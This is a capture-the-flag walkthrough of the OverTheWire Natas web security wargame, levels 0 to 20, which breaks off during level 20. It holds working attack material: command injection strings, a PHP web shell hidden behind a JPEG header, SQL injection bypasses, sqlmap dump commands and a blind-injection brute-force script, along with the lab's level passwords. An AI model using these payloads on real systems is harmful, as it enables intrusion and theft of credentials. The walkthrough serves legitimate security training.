I will be solving the Natas Labs from OverTheWire. OverTheWire is a platform that can help you learn and practice security concepts in the form of fun-filled games.
PS: As I keep solving the labs, I’ll be adding them to this writeup
Lets get started
Level 0
Navigating to the webpage using the username and password provided
username:natas0
password:natas0
Viewing the source page,
We found the password for the next level.
Level 1
Navigating to the webpage and using the password we got from the previous level
username:natas1
password:g9D9cREhslqBKtcA2uocGHPfMZVzeFK6
Right-clicking has been blocked, this means we can’t right-click on the webpage
To view the source page, you can use ctrl + u
cool, we found the password to the next level😎
Level 2
Navigating to the webpage and using the password we got from the previous level
username:natas2
password:h4ubbcXrWqsTo7GGnnUMLppXbOogfBZ7
Checking the source page,
From the above screenshot, you see this <img src="files/pixel.png">
.
This is a png image, this means the image is located in the url http://natas2.natas.labs.overthewire.org/files/pixel.png
, what if we were to go back a directory, we would then have http://natas2.natas.labs.overthewire.org/files
. Navigating to the webpage, you have this
Viewing the users.txt
file,
We have the password for the next level.
Level 3
Navigating to the webpage and using the password we got from the previous level
username:natas3
password:G6ctbMJ5Nb4cbFwhpMPSvxGHhQ7I6W8Q
Viewing the source page,
Now that was a bold statement😂.
Well, navigating to the /robots.txt
directory
Navigating to the /s3cr3t/
directory
Lets check out the users.txt
file.
cool, we got the password for the next level.
Level 4
Navigating to the webpage and using the password we got from the previous level
username:natas4
password:tKOcJIbzM4lTs8hbCmzn5Zr4434fGZQm
To access the website successfully, we need to ensure that you are visiting it from the specified URL.
To do this, we’ll try to modify our request to include the correct source url.
We’ll be using the “Referer” header here
The Referer header in an HTTP request provides information about the URL of the previous webpage that linked to the current page. It helps websites and servers track the origin of incoming traffic and understand how users navigate through different webpages.Modifying our request,
Cool, we found the passowrd for the next level.
Level 5
Navigating to the webpage and using the password we found in the previous level
username:natas5
password:Z0NsrtIkJoKALBCLi5eqFfcRN82Au2oD
It is saying here that we are not logged in. Lets capture the request using burpsuite
Looking at the captured request again;
For the cookie header, you see that loggedin
has a value of 0
.
What happens when we change that value to 1
??
cool, we got the password for the next level😎
Level 6
Navigating to the webpage and using the password we found in the previous level
username:natas6
password:fOIvE0MDtPTgRhqmmvvAOt2EfXR6uQgR
We are asked to provide a secret.
Well, let me try this secret, be sure not to tell anybody hehe. I am spiderman, inputting that secret
As you can see we got an error message.
Viewing the source page;
We got this php code
<?
include "includes/secret.inc";
if(array_key_exists("submit", $_POST)) {
if($secret == $_POST['secret']) {
print "Access granted. The password for natas7 is <censored>";
} else {
print "Wrong secret";
}
}
?>
Explaining the code
1.It includes the contents of the file "includes/secret.inc" using the include statement. This allows the code to access variables or functions defined in that file.
2.It checks if the "submit" key exists in the $_POST superglobal array, indicating that a form has been submitted via the HTTP POST method.
3.If the "submit" key exists, it compares the value of the $secret variable with the value of the 'secret' field submitted through the form ($_POST['secret']).
4.If the values match, it prints the message "Access granted. The password for natas7 is <censored>". This suggests that upon successful submission of the correct secret, it reveals the password for the "natas7" user.
5.If the values do not match, it prints the message "Wrong secret", indicating that the submitted secret is incorrect.
Now, lets navigate to the directory /includes/secret.inc
oops, a blank page😰
Viweing the page source;
We found our secret hehe, submitting the secret should get us the password for the next level
Cool, we found the password for the next level
Level 7
Navigating to the webpage and using the password we got from the previous level
username:natas7
password:jmxSiH3SP6Sonf8dv66ng8v1cIEdjXWr
Viewing the page source;
We got a hint saying the password for the next level is in etc/natas_webpass/natas8
Going back to the webpage and clicking on Home
,
From the url we can tell that there’s a possible LFI (Local File Inclusion) vulnerability, which can enable us to read files.
Lets try to read the /etc/passwd
file
cool stuff😎
Now, using the hint they gave us earlier, lets get the password for the next level
Nice, we got the password for the next level
Level 8
Navigating to the webpage and using the password we got from the previous level
username:natas8
password:a6bZCNYwdKqN5cGP11ZdtPg0iImQQhAB
Viewing the source page I got this php code
<?
$encodedSecret = "3d3d516343746d4d6d6c315669563362";
function encodeSecret($secret) {
return bin2hex(strrev(base64_encode($secret)));
}
if(array_key_exists("submit", $_POST)) {
if(encodeSecret($_POST['secret']) == $encodedSecret) {
print "Access granted. The password for natas9 is <censored>";
} else {
print "Wrong secret";
}
}
?>
Explaining the code
1. The encoded secret is stored in the variable $encodedSecret. It is a hexadecimal representation of the original secret.
2. The function encodeSecret($secret) is defined. This function takes a secret as input, performs three operations on it, and returns the result.
a. The secret is base64 encoded using base64_encode($secret).
b. The resulting base64 string is reversed using strrev().
c. The reversed string is converted to its hexadecimal representation using bin2hex().
3. The code checks whether the form has been submitted (array_key_exists("submit", $_POST)). It assumes that there is an HTML form with an input field named "secret" and a submit button.
4. If the form has been submitted, the code compares the encoded secret generated from the submitted secret with the original encoded secret (encodeSecret($_POST['secret']) == $encodedSecret).
5. If the comparison is true, it prints the message "Access granted. The password for natas9 is <censored>," where <censored> indicates that the password is intentionally hidden.
6. If the comparison is false, it prints the message "Wrong secret."
Taking the encodedsecret 3d3d516343746d4d6d6c315669563362
, since it is hex encoded, lets decode it using cyberchef
Now, we’ll try to use the strrev()
function to reverse the base64 we got. For this we’ll use a python script
import base64
def reverse_base64(encoded_base64):
# Step 1: Reverse the decoded bytes
reversed_bytes = encoded_base64[::-1]
# Step 2: Decode the Base64 string
decoded_bytes = base64.b64decode(reversed_bytes)
# Step 3: Encode the reversed bytes back to Base64
reversed_base64 = base64.b64encode(decoded_bytes).decode()
return reversed_base64
# Example usage
encoded_base64 = "==QcCtmMml1ViV3b"
reversed_base64 = reverse_base64(encoded_base64)
print(reversed_base64)
After running the script, you should get this
┌──(bl4ck4non㉿bl4ck4non)-[~/Downloads/CTF/over_the_wire]
└─$ python abeg.py
b3ViV1lmMmtCcQ==
Now, lets go ahead and decode this base64
command:echo "b3ViV1lmMmtCcQ==" | base64 -d
┌──(bl4ck4non㉿bl4ck4non)-[~/Downloads/CTF/over_the_wire]
└─$ echo "b3ViV1lmMmtCcQ==" | base64 -d
oubWYf2kBq
Applying the output we got as the secret, that is oubWYf2kBq
Cool, we got the password for the next level
Level 9
Navigating to the webpage and using the password we got from the previous level
username:natas9
password:Sda6t0vkOPkM8YeOZkAGVhFoaplvlJFd
Viewing the source code we get this php code
<?
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
passthru("grep -i $key dictionary.txt");
}
?>
Explaining this code
1. The script initializes an empty variable named $key.
2. It checks if the "needle" parameter exists in the request using array_key_exists("needle", $_REQUEST).
3. If the "needle" parameter is found, its value is assigned to the $key variable.
4. The script checks if $key is not an empty string.
5. If $key is not empty, it executes a shell command using passthru().
6. The shell command being executed is grep -i $key dictionary.txt, which searches for the value of $key (case-insensitive) in the file named "dictionary.txt".
7. If there are any matches found in the dictionary file, the results will be displayed as the output.
So, this basically executes our commands for us. Lets find the word “password”
Now, this looks like a possible command injection vulnerability where you can pass other commands.
For example, to read the /etc/passwd
file, we can use this password;cat/etc/passwd
, so what happens here is that the shell interprets the command as 2 separate commands, grep -i password
and cat /etc/passwd
. The grep
searches for the word password in the dictionary.txt file, while the cat
command displays the content of the /etc/passwd
file.
Trying it out;
It worked, now lets try to read the password for the next level from /etc/natas_webpass/natas10
command:password;cat /etc/natas_webpass/natas10
Cool, we got the password for the next level.
Level 10
Navigating to the webpage and using the password we got from the previous level
username:natas10
password:D44EcsFkLxPIkAAKLosx8z3hxX1Z4MCE
oops, they now filter characters which means it won’t accept the input it did earlier.
Viewing the source code I got this php code;
<?
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
if(preg_match('/[;|&]/',$key)) {
print "Input contains an illegal character!";
} else {
passthru("grep -i $key dictionary.txt");
}
}
?>
This code is similar to the code from the previous level just that this one is more secured. It filters out special characters ;
,|
or &
, which means we can’t use it.
Now, all hope is not lost hehe😎.
Since, this filters out special characters we can go ahead to use a string
For example,to read the /etc/passwd
file, we can try somthing like this B /etc/passwd
, what this does is that it runs the command as this grep -i B /etc/passwd dictionary.txt
, this command attempts to search for the string “B”, in both the /etc/passwd
file and the dictionary.txt
. You should know that if the string B
isn’t in the /etc/passwd
file, it won’t show the output. So it is more like a trial and error stuff, that is, trying the letters till you get an output
Lets try it out
command:B /etc/passwd
It worked, now we can use this to read the password to use for the next level
command:A /etc/natas_webpass/natas11
Cool, we got the password for the next level.
Level 11
Navigating to the webpage and making use of the password we found in the previous level
username:natas11
password:1KFqoJXi6hRaPluAmk8ESDW4fSysRoIg
Viewing the source code we get this php code
<?
$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
function xor_encrypt($in) {
$key = '<censored>';
$text = $in;
$outText = '';
// Iterate through each character
for($i=0;$i<strlen($text);$i++) {
$outText .= $text[$i] ^ $key[$i % strlen($key)];
}
return $outText;
}
function loadData($def) {
global $_COOKIE;
$mydata = $def;
if(array_key_exists("data", $_COOKIE)) {
$tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true);
if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) {
if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) {
$mydata['showpassword'] = $tempdata['showpassword'];
$mydata['bgcolor'] = $tempdata['bgcolor'];
}
}
}
return $mydata;
}
function saveData($d) {
setcookie("data", base64_encode(xor_encrypt(json_encode($d))));
}
$data = loadData($defaultdata);
if(array_key_exists("bgcolor",$_REQUEST)) {
if (preg_match('/^#(?:[a-f\d]{6})$/i', $_REQUEST['bgcolor'])) {
$data['bgcolor'] = $_REQUEST['bgcolor'];
}
}
saveData($data);
Explaining the code
1. Default values for "showpassword" and "bgcolor" are defined in an array.
2. XOR encryption function is implemented.
3. Data is loaded from a cookie, decrypted, and validated.
4. Data is saved by encrypting and encoding it as a cookie.
5. The script loads data, either from the cookie or using default values.
6. If a valid "bgcolor" is provided in the request, it updates the data.
7. The updated data is saved as a cookie.
Also
?>
<h1>natas11</h1>
<div id="content">
<body style="background: <?=$data['bgcolor']?>;">
Cookies are protected with XOR encryption<br/><br/>
<?
if($data["showpassword"] == "yes") {
print "The password for natas12 is <censored><br>";
}
?>
Explaining this code also
1. The code sets the background color of the page based on the $data['bgcolor'] value.
2. It mentions that cookies are protected with XOR encryption.
3. If $data["showpassword"] is "yes", it prints a censored message about the password for the next level (natas12).
Lets first get the cookie, inspecting element
So, that’s our cookie MGw7JCQ5OC04PT8jOSpqdmkgJ25nbCorKCEkIzlscm5oKC4qLSgubjY%3D
, Url Decoding this using cyberchef should result in a base64 encoding
Cool, we got our cookie which is MGw7JCQ5OC04PT8jOSpqdmkgJ25nbCorKCEkIzlscm5oKC4qLSgubjY=
. The next thing to do now is get the key
To get the key, we’ll be using this php script
<?php
function xor_encrypt($in) {
$key = json_encode(array( "showpassword"=>"no", "bgcolor"=>"#ffffff"));
$text = $in;
$outText = '';
// Iterate through each character
for($i=0;$i<strlen($text);$i++) {
$outText .= $text[$i] ^ $key[$i % strlen($key)];
}
return $outText;
}
$cookie="MGw7JCQ5OC04PT8jOSpqdmkgJ25nbCorKCEkIzlscm5oKC4qLSgubjY=";
echo xor_encrypt(base64_decode($cookie));
?>
This script takes a base64-encoded string ($cookie), decrypts it using XOR encryption with a predefined key, and then outputs the decrypted result
To run the script
command:php -f key.php
┌──(bl4ck4non㉿bl4ck4non)-[~/Downloads/CTF/over_the_wire]
└─$ php -f key.php
KNHLKNHLKNHLKNHLKNHLKNHLKNHLKNHLKNHLKNHLK
cool, we got our key which is KNHL
. What we’ll do now is try to generate a new cookie using this key we got, during the explanation of the php codes we saw that if showpassword
is set to yes
then we’ll get the password to the next level printed out.
To generate a new cookie we’ll use this php script
<?php
function xor_encrypt($in) {
$key = 'KNHL';
$text = $in;
$outText = '';
// Iterate through each character
for($i=0;$i<strlen($text);$i++) {
$outText .= $text[$i] ^ $key[$i % strlen($key)];
}
return $outText;
}
$data = array( "showpassword"=>"yes", "bgcolor"=>"#ffffff");
echo base64_encode(xor_encrypt(json_encode($data)));
?>
The script encrypts a JSON-encoded string ($data) using XOR encryption with the key “KNHL”. It then base64-encodes the encrypted result and outputs the encoded string.
To run the script
command:php -f cookie.php
┌──(bl4ck4non㉿bl4ck4non)-[~/Downloads/CTF/over_the_wire]
└─$ php -f cookie.php
MGw7JCQ5OC04PT8jOSpqdmk3LT9pYmouLC0nICQ8anZpbS4qLSguKmkz
We got a new cookie, replacing the previous cookie with this new generated one should get us the password to the next level
Cool, we got the password to the next level
Level 12
Navigate to the webpage using the password we got from the previous level
username:natas12
password:YWqo0pjpcXzSIl5NMAVxg12QxeC1w9QG
Viewing the source code we get this php code
<?php
function genRandomString() {
$length = 10;
$characters = "0123456789abcdefghijklmnopqrstuvwxyz";
$string = "";
for ($p = 0; $p < $length; $p++) {
$string .= $characters[mt_rand(0, strlen($characters)-1)];
}
return $string;
}
function makeRandomPath($dir, $ext) {
do {
$path = $dir."/".genRandomString().".".$ext;
} while(file_exists($path));
return $path;
}
function makeRandomPathFromFilename($dir, $fn) {
$ext = pathinfo($fn, PATHINFO_EXTENSION);
return makeRandomPath($dir, $ext);
}
if(array_key_exists("filename", $_POST)) {
$target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);
if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
echo "File is too big";
} else {
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
} else{
echo "There was an error uploading the file, please try again!";
}
}
} else {
?>
Explaining the code
1. Function genRandomString generates a random string of length 10.
2. Function makeRandomPath creates a unique random file path in a given directory with a specified extension.
3. Function makeRandomPathFromFilename generates a random file path based on a given directory and filename.
4. If the "filename" key exists in the form data:
a. Generate a random file path using makeRandomPathFromFilename.
b. Check if the uploaded file size exceeds 1000 bytes.
c. If the file size is within limits, move the uploaded file to the target path.
d. Display appropriate messages based on the success or failure of the file upload.
5. If the "filename" key doesn't exist, assume no file upload form was submitted.
I think we got ourselves here a file upload vulnerability
We’ll try uploading a .php
file, since they aren’t always up to 1kb
.
Save this payload <?php system($_GET['cmd']); ?>
in a php file
┌──(bl4ck4non㉿bl4ck4non)-[~/Downloads/CTF/over_the_wire]
└─$ nano abeg.php
┌──(bl4ck4non㉿bl4ck4non)-[~/Downloads/CTF/over_the_wire]
└─$ cat abeg.php
<?php system($_GET['cmd']); ?>
Lets try to upload this
As you can see from the above screenshot, we uploaded a file named abeg.php
, it got renamed and also got the extension changed to a .jpg
extension.
Lets try to upload the same file again, but this time, we’ll intercept using burpsuite
Lets modify this request by changing the .jpg
extension to .php
Now, forward the request
Cool, now lets view our payload
Nice, we can get command injection through this by adding ?cmd=id
to the back of the url
Now, lets get the password to the next level, this can be found at /etc/natas_webpass/natas13
. To read the password add ?cmd=cat /etc/natas_webpass/natas13
at the back of the url
Cool. we got the password to the next level😎
Level 13
Navigating to the webpage and using the password we found from the previous level
username:natas13
password:lW3jYRI02ZKDBb8VtQBU1f6eDRo6WEj9
Viewing the source code we get this php script
<?php
function genRandomString() {
$length = 10;
$characters = "0123456789abcdefghijklmnopqrstuvwxyz";
$string = "";
for ($p = 0; $p < $length; $p++) {
$string .= $characters[mt_rand(0, strlen($characters)-1)];
}
return $string;
}
function makeRandomPath($dir, $ext) {
do {
$path = $dir."/".genRandomString().".".$ext;
} while(file_exists($path));
return $path;
}
function makeRandomPathFromFilename($dir, $fn) {
$ext = pathinfo($fn, PATHINFO_EXTENSION);
return makeRandomPath($dir, $ext);
}
if(array_key_exists("filename", $_POST)) {
$target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);
$err=$_FILES['uploadedfile']['error'];
if($err){
if($err === 2){
echo "The uploaded file exceeds MAX_FILE_SIZE";
} else{
echo "Something went wrong :/";
}
} else if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
echo "File is too big";
} else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {
echo "File is not an image";
} else {
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
} else{
echo "There was an error uploading the file, please try again!";
}
}
} else {
?>
This code is similar to that of previous level, the difference is that only image files are accepted in this level. This means it won’t accept a .php
extension file as it did in the previous level.
We can still find our way around it, right?? That’s why we are h4x0rs hehe😎
Doing some research I found this page.
We can use something as simple as this AAAA<?php system($_GET['cmd']); ?>
to bypass restrictions. Save this in a .php
file
┌──(bl4ck4non㉿bl4ck4non)-[~/Downloads/CTF/over_the_wire]
└─$ gedit bankai.php
┌──(bl4ck4non㉿bl4ck4non)-[~/Downloads/CTF/over_the_wire]
└─$ cat bankai.php
AAAA<?php system($_GET['cmd']); ?>
┌──(bl4ck4non㉿bl4ck4non)-[~/Downloads/CTF/over_the_wire]
└─$ file bankai.php
bankai.php: ASCII text
Now, we’ll be using a tool called hexeditor
to change the header of bankai.php
to that of a .jpeg
header.
From the above screenshot, you can see that the AAAA
has the header 41 41 41 41
, we’ll be changing the header to that of a .jpeg file
. Checking it up online I got this FF D8 FF EE
. So, let’s change the header to that
Now that we have changed the header, lets save it and exit (hit ctrl +x, then hit the enter button to exit).
Lets check the file type again
command:file bankai.php
┌──(bl4ck4non㉿bl4ck4non)-[~/Downloads/CTF/over_the_wire]
└─$ hexeditor bankai.php
┌──(bl4ck4non㉿bl4ck4non)-[~/Downloads/CTF/over_the_wire]
└─$ file bankai.php
bankai.php: JPEG image data
Cool, we were able to change the headers. This means we can go ahead to upload this
Just as we did in the previous level, we’ll be using burpsuite to modify the file extension from .jpg
to .php
Forward the request,
Nice, now lets view our payload
Nice, we can get command injection through this by adding ?cmd=id
to the back of the url
Now, lets get the password to the next level, this can be found at /etc/natas_webpass/natas14
. To read the password add ?cmd=cat /etc/natas_webpass/natas14
at the back of the url
Cool, we got the password to the next level
Level 14
Navigating to the webpage and using the password we got from the previous level
username:natas14
password:qPazSJBmrmU7UQJv17MHk1PGC4DxZMEP
Checking the source code, we find this php script
<?php
if(array_key_exists("username", $_REQUEST)) {
$link = mysqli_connect('localhost', 'natas14', '<censored>');
mysqli_select_db($link, 'natas14');
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\"";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
}
if(mysqli_num_rows(mysqli_query($link, $query)) > 0) {
echo "Successful login! The password for natas15 is <censored><br>";
} else {
echo "Access denied!<br>";
}
mysqli_close($link);
} else {
?>
Explaining the code
1. The script checks if the "username" key exists in the user input.
2. It establishes a connection to a MySQL database.
3. A SQL query is constructed using user-supplied "username" and "password" values without proper sanitization.
4. If the "debug" key is present, the executed query is displayed (a potential security risk).
5. The query is executed, and if it returns any rows, a successful login message is echoed.
6. If the login fails (no rows returned), an "Access denied" message is displayed.
7. The database connection is closed.
From the source code we get the sql query to be this
SELECT * from users where username="<username>" and password="<password>"
You’ll notice that the user input is not being filtered, which means we can use escape characters to make the query act differently than it should be
To bypass the login page
username:" '1'='1'#
password:aaa
Cool, we got the password for the next level
Level 15
Navigate to the webpage and use the password we got from the previous level
username:natas15
password:TTkaI7AWG4iDERztBcEyKV7kRXH1EZRB
Checking the source code
<?php
/*
CREATE TABLE `users` (
`username` varchar(64) DEFAULT NULL,
`password` varchar(64) DEFAULT NULL
);
*/
if(array_key_exists("username", $_REQUEST)) {
$link = mysqli_connect('localhost', 'natas15', '<censored>');
mysqli_select_db($link, 'natas15');
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
}
$res = mysqli_query($link, $query);
if($res) {
if(mysqli_num_rows($res) > 0) {
echo "This user exists.<br>";
} else {
echo "This user doesn't exist.<br>";
}
} else {
echo "Error in query.<br>";
}
mysqli_close($link);
} else {
?>
Explaining the code
1. The script checks if the provided "username" exists in the "users" table.
2. It establishes a connection to a MySQL database using credentials.
3. A SQL query is constructed to select rows from the "users" table based on the "username" column.
4. If the "debug" key is present, the executed query is displayed (for debugging purposes).
5. The query is executed, and if there are rows returned, it indicates that the user exists.
6. If no rows are returned, it indicates that the user doesn't exist.
7. If an error occurs during the query execution, an error message is displayed.
8. The database connection is closed
The sql query from then source code is SELECT * FROM users WHERE username="<username>"
Lets try the username natas16
to see if it exists
Now, this is a boolean-based SQLi
. Lets prepare a payload that returns a true value
payload:" or '1'='1'#
We’ll be using sqlmap to dump the database.
First, capture the request on burpsuite and save it in a file, say req.txt
Using sqlmap;
command:sqlmap -r req.txt --level=5 --risk=3 -D natas15 -T users -C username,password --dump
Let me explain this command
-r --> This tells sqlmap to use the request stored in req.txt file as the basis for analysis
-D --> Database name which is natas15 (Saw this from the source code)
-T --> Table name which is users (Got this from the sql query)
-C --> Column names which are username and password (Got this also from the sql query)
--dump --> This option tells sqlmap to dump the contents of the selected columns
--risk=3 --> This option sets the risk factor to 3, indicating a high-risk level for the injection attack
--level=5 --> This option sets the level of tests to be performed by SQLMap to the highest level, which is 5
Running the command;
Cool, we got the password for the next level
Level 16
Navigating to the webpage and using the password we got from the previous level
username:natas16
passwordTRD7iZrd5gATjj9PkPEuaOlfEjHqj32V
Viewing the source code we get this php code
<?
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
if(preg_match('/[;|&`\'"]/',$key)) {
print "Input contains an illegal character!";
} else {
passthru("grep -i \"$key\" dictionary.txt");
}
}
?>
This code is similar to the one in in level 10, it’s just that this code is more secured. It filters out more special characters. One thing I noticed is that it didn’t filter out the character $
,)
and (
.
Trying this command $(sleep 10)
made me realize I was dealing with a blind command injection. When you run that command, you’ll notice that it’ll take the webpage exactly 10 seconds to return an output
We can go ahead to inject code
command:$(echo person)
If you recall when we solved level 10 we had to check if the character exists in the file, well this is similar
So, does /etc/natas_webpass/natas17
contains the letter a
??
To test this we can try the conmand person$(grep a /etc/natas_webpass/natas17)
if the letter is present in the file the output will be empty, if the letter isn’t present the output will be person
As, you can see there’s an output
Lets try for the letter b
command:person$(grep b /etc/natas_webpass/natas17)
As you can see, there’s no output. This means the letter b
is present in the /etc/natas_webpass/natas17
file.
We’ll be using a python script to get the full password to the next level
#!/bin/python
import requests,string
url = "http://natas16.natas.labs.overthewire.org"
auth_username = "natas16"
auth_password = "WaIHEacj63wnNIBROHeqi3p9t0m5nhmh"
characters = ''.join([string.ascii_letters,string.digits])
password = []
for i in range(1,34):
for char in characters:
uri = "{0}?needle=$(grep -E ^{1}{2}.* /etc/natas_webpass/natas17)hackers".format(url,''.join(password),char)
r = requests.get(uri, auth=(auth_username,auth_password))
if 'hackers' not in r.text:
password.append(char)
print(''.join(password))
break
else: continue
break
Save the script in a file and run it
Cool, we got the password to the next level
Level 17
Navigating to the webpage and using the password we got from the previous level
username:natas17
password:XkEuChE0SbnKBvH1RU7ksIb9uuLmI7sd
Viewing the source code;
<?php
/*
CREATE TABLE `users` (
`username` varchar(64) DEFAULT NULL,
`password` varchar(64) DEFAULT NULL
);
*/
if(array_key_exists("username", $_REQUEST)) {
$link = mysqli_connect('localhost', 'natas17', '<censored>');
mysqli_select_db($link, 'natas17');
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
}
$res = mysqli_query($link, $query);
if($res) {
if(mysqli_num_rows($res) > 0) {
//echo "This user exists.<br>";
} else {
//echo "This user doesn't exist.<br>";
}
} else {
//echo "Error in query.<br>";
}
mysqli_close($link);
} else {
?>
Explaining the code
1. It connects to a MySQL database and selects the "natas17" database.
2. The code constructs a SQL query to retrieve records from the "users" table based on the provided username.
3. If the query execution is successful, it checks if any rows are returned.
4. The code does not provide specific output for the existing or non-existing user cases.
5. Any query execution errors are not handled or displayed.
Lets try to see if user natas18
exists in the data
As you can see, there was no output. If you recall when we were on Level 15
we had to solve a boolean-based SQLi
. In this level we are dealing with a boolean-based blind SQLi
or time-based blind SQLi
. Unlike in boolean-based SQLi
where we receive feedbacks, in boolean-based blind SQLi
we inject malicious SQL code into the vulnerable web application, but do not receive direct feedback about the results of the injected queries.
We’ll be using sqlmap to dump te database
First, capture the request using burpsuite and save it in a file, say req.txt
using sqlmap;
command:sqlmap -r req.txt --level=5 --risk=3 -D natas17 -T users -C username,password --dump
Explaining the command
-r --> This tells sqlmap to use the request stored in req.txt file as the basis for analysis
-D --> Database name which is natas15 (Saw this from the source code)
-T --> Table name which is users (Got this from the sql query)
-C --> Column names which are username and password (Got this also from the sql query)
--dump --> This option tells sqlmap to dump the contents of the selected columns
--risk=3 --> This option sets the risk factor to 3, indicating a high-risk level for the injection attack
--level=5 --> This option sets the level of tests to be performed by SQLMap to the highest level, which is 5
Running the command;
Cool stuff, we got the password for the next level😎
Level 18
Navigating to the webpage and using the password we got from the previous level
username:natas18
password:8NEDUUxg8kFgPV84uLwvZkGn6okJQ6aq
Viewing the source code;
Explaining this code
1. The initial part of the code sets a maximum ID value and defines several functions, such as isValidAdminLogin(), isValidID(), createID(), debug(), and my_session_start(). These functions handle tasks like checking if a login is valid, validating user IDs, creating session IDs, debugging output, and starting the session.
2. The print_credentials() function is responsible for displaying the user's credentials, either as an admin or a regular user.
3. The script checks if a session is already active by calling my_session_start(). If a session is active, it calls print_credentials() and sets $showform to false, indicating that the login form should not be displayed.
4. If a session is not active, it checks if the username and password parameters are present in the $_REQUEST superglobal. If so, it generates a session ID using createID() with the provided username, starts the session, and sets the $_SESSION["admin"] value based on the result of isValidAdminLogin(). It then calls print_credentials() and sets $showform to false.
5. If neither a session is active nor the username and password parameters are provided, the script assumes the user needs to log in and displays a login form.
Lets try to login with something random, say
username:BlackAnon
password:groceriesandfloatingberries
Okay, so we need to be logged in as the admin so as to be able to view the password we would be using for the next level.
Lets capture this request on burpsuite
Sending this over to burp repeater;
Take note of the PHPSESSID=330
, checking the source code again, you’ll see this
This means the highest value PHPSESSID
can hold is 640
.
What we’ll do is that we’ll use burp intruder to get the correct PHPSESSID
for the Admin
user.
Send the request to burp intruder;
Now, start the attack
From the above screenshot we can see that the payload 119
has a different length compared to the other payloads.
I think we just found the Admin user’s PHPSESSID hehe. Replacing the 330
with 119
we should be able to get the password that’ll help us in the next level
Cool, we got the password to the next level.
Level 19
Navigating to the webpage and using the password we found from the previous level
username:natas19
password:8LMJEhKFbMKIL2mxQKjv0aEDdk7zpT0s
So, this level uses the same code as the previous level, the difference is just that in this level session IDs are no longer sequential
Lets use the previous creds we used in the previous level
username:BlackAnon
password:groceriesandfloatingberries
Capturing the request on burpsuite;
Sending it over to repeater
As you can see the value for PHPSESSID
is different unlike the one we saw in the previous level.
Lets try to decode this PHPSESSID
using cyberchef
If you recall from the source code of the previous level we saw that $maxid = 640
, so one thing we’ll try is to generate new PHPSESSID
. To do this we’ll be using a python script
def number_to_blackanon_hex(number):
if not 1 <= number <= 640:
raise ValueError("Number must be between 1 and 640.")
# Append "BlackAnon" to the number
blackanon_string = str(number) + "-admin"
# Convert the string to hexadecimal representation
hex_representation = blackanon_string.encode().hex()
return hex_representation
# Open the file in write mode
with open("phpsessid.txt", "w") as file:
# Write the output for numbers from 1 to 640 to the file
for number in range(1, 641):
hex_result = number_to_blackanon_hex(number)
line = f"{hex_result}\n"
file.write(line)
print("Output has been written to phpsessid.txt")
The script takes numbers from 1 to 640, appends “-admin” to each number, converts them to hexadecimal representation, and writes the results to a file named “phpsessid.txt.”
save the script in a file and run it
┌──(bl4ck4non㉿bl4ck4non)-[~/Downloads/CTF/over_the_wire]
└─$ python phpsessid.py
Output has been written to phpsessid.txt
┌──(bl4ck4non㉿bl4ck4non)-[~/Downloads/CTF/over_the_wire]
└─$ head phpsessid.txt
312d61646d696e
322d61646d696e
332d61646d696e
342d61646d696e
352d61646d696e
362d61646d696e
372d61646d696e
382d61646d696e
392d61646d696e
31302d61646d696e
Lets capture the request again and send it over to burp intruder
We’ll go ahead to load the phpsessid.txt
file
Now, start the attack
From the above screenshot we can see that 3238312d61646d696e
has a different length compared to the other payloads
We already found the admin’s PHPSESSID
hehe😎
Replacing the cookies
Cool stuff, we got the password to the next level
Level 20
Navigating to the webpage and using the password we got from the previous level
username:natas20
password:guVaZ3ET35LbgbFMoaN5tFcYT1jEP7UH
Viewing the source code, we get this long php code
Explaining this code
1. The debug($msg) function is used for debugging and prints the provided message with the "DEBUG:" prefix if the "debug" key exists in the URL parameters.
2. The print_credentials() function displays user credentials for the next level if the user is logged in as an admin (checked through session data). The username is "natas21," but the password is intentionally censored and not revealed in the output. If the user is not an admin or not logged in, a message prompts them to log in as an admin to view the credentials.
Explaining this code
1. The myread($sid) function reads session data from a session file based on the provided session ID ($sid).
2. It checks if the session ID contains only alphanumeric characters and the hyphen ("-"). If the session ID contains any other characters, it's considered invalid, and the function returns an empty string.
3. The function constructs the filename of the session file using the session save path and the provided session ID.
4. If the session file does not exist, the function returns an empty string.
5. The function reads the contents of the session file into the variable $data.
6. It resets the $_SESSION superglobal array to an empty array.
7. It processes each line of the session data, splitting it into key-value pairs using space as a delimiter and populates the $_SESSION array.
8. Finally, the function returns the encoded session data stored in the $_SESSION array, which can be sent back to the client to maintain session state between requests.
Explaining this code
1. The mywrite function saves session data to a file with a custom encoding.
2. It checks if the session ID ($sid) contains only alphanumeric characters and hyphens.
3. It constructs the filename using the session save path and the provided session ID.
4. It sorts the session data array ($_SESSION) based on keys in ascending order.
5. It iterates through the sorted session array, concatenates key-value pairs into a string, and saves it as the new $data.
6. The function writes the new $data to the session file.
7. It sets the file permissions of the session file to 0600 (read and write only for the owner).
Explaining this code
1. Sets custom session handling functions using session_set_save_handler.
2. Starts or resumes a session using session_start().
3. If the "name" parameter exists in the HTTP request, it sets the "name" session variable to its value and prints a debug message.
4. Calls the print_credentials() function.
